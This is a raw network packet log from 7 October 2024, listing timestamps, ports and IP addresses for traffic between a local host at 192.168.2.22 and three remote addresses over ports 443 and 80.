Oct 7, 2024 07:14:59.129623890 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.129656076 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.130531073 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.130587101 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.130594015 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.130619049 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.130693913 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.130734921 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.130798101 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.130804062 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.130820990 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.130861998 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.130924940 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.131515980 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.131582975 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.131584883 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.131607056 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.131649017 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.207933903 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.208065987 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.208108902 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.208121061 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.208360910 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.217883110 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.217946053 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.217973948 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.217983007 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.218033075 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.218393087 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.218466043 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.218523026 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.218523026 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.218530893 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.219371080 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.219433069 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.219441891 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.219513893 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.219564915 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.219572067 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.220347881 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.220407009 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.220416069 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.220446110 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.220554113 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.220606089 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.220606089 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.220618963 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.220643044 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.220679045 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.220745087 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.221188068 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.221272945 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.221323967 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.221333027 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.221371889 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.221422911 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:59.221486092 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.223562956 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:59.284384012 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:59.289213896 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:59.289283037 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:59.289355040 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:59.294589043 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:59.355040073 CEST	443	49173	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:59.355065107 CEST	443	49173	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:59.355158091 CEST	49173	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:59.355190992 CEST	443	49173	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:59.358058929 CEST	443	49173	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:59.358113050 CEST	49173	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:59.358140945 CEST	443	49173	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:59.358198881 CEST	443	49173	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:59.358292103 CEST	49173	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:59.358362913 CEST	49173	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:59.358381987 CEST	443	49173	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:59.358397007 CEST	49173	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:59.358403921 CEST	443	49173	14.194.50.211	192.168.2.22
Oct 7, 2024 07:15:00.134068966 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134120941 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134181976 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134217978 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134254932 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134289026 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134326935 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.134362936 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.134396076 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134429932 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134463072 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134500027 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.134690046 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.139509916 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.139544010 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.139579058 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.139674902 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.174083948 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.335089922 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335159063 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335196018 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335228920 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.335270882 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335314989 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335381031 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.335453033 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335510969 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335562944 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335597038 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335622072 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.335654974 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.335747957 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.336105108 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.336163044 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.336198092 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.336235046 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.336268902 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.336294889 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.336937904 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.337002993 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.337033033 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.337066889 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.337105989 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.337129116 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.337147951 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.337182999 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.337788105 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.337843895 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.337876081 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.338123083 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.536932945 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.536986113 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537049055 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537062883 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537098885 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537141085 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.537182093 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537216902 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537256956 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537285089 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.537318945 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537352085 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537390947 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537447929 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.537740946 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537756920 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537775040 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537823915 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.537926912 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537951946 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537967920 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537985086 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.537997961 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.538033009 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.538105965 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.538724899 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.538750887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.538769007 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.538780928 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.538813114 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.538913965 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.538929939 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.538945913 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.538961887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.538980961 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.539005995 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.539062023 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.539691925 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.539719105 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.539733887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.539746046 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.539828062 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.539860964 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.539876938 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.539891005 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.539907932 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.539932013 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.540054083 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.543282032 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.543503046 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.738399029 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738466978 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738524914 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738564968 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738588095 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.738656044 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738691092 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738714933 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.738749027 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738780975 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738827944 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.738857031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738889933 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738919973 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.738946915 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.738980055 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739015102 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739044905 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.739073038 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739104986 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739128113 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.739162922 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739264965 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.739458084 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739491940 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739526987 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739547014 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.739629030 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739662886 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739686012 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.739717960 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739753962 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739792109 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.739814043 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.740108013 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740165949 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.740184069 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740217924 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740267992 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.740303040 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740335941 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740367889 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740389109 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.740421057 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740473032 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.740523100 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740556955 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740588903 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.740613937 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.740643978 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741074085 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741128922 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.741147995 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741180897 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741238117 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.741288900 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741322041 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741358995 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741379976 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.741413116 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741447926 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741480112 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741503000 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.741534948 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741568089 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.741590977 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.742032051 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.742096901 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.742111921 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.742146015 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.742197037 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.742281914 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.742316008 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.742350101 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.742384911 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.742405891 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.742439032 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.742491961 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.940080881 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940133095 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940197945 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.940239906 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940284014 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940320969 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940351009 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.940386057 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940421104 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940443993 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.940488100 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940536022 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.940563917 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940598965 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940634012 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940654993 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.940686941 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940718889 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940752983 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940776110 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.940829039 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940864086 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940901995 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.940921068 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.940970898 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.941003084 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941056013 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941091061 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941168070 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.941220999 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941255093 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941303015 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.941330910 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941365004 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941396952 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941431046 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941452980 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.941484928 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941519022 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941551924 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941574097 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.941603899 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941642046 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941675901 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941694975 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.941746950 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941800117 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941838980 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941860914 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.941891909 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941926003 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.941947937 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.941981077 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942015886 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942038059 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.942069054 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942101955 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942123890 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.942154884 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942188978 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942212105 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.942249060 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942285061 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942310095 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.942342043 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942375898 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942397118 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.942428112 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942461967 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942487955 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.942517996 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942552090 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942573071 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.942605019 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942641020 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942677975 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942702055 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.942739964 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.942774057 CEST	80	49174	38.240.41.28	192.168.2.22
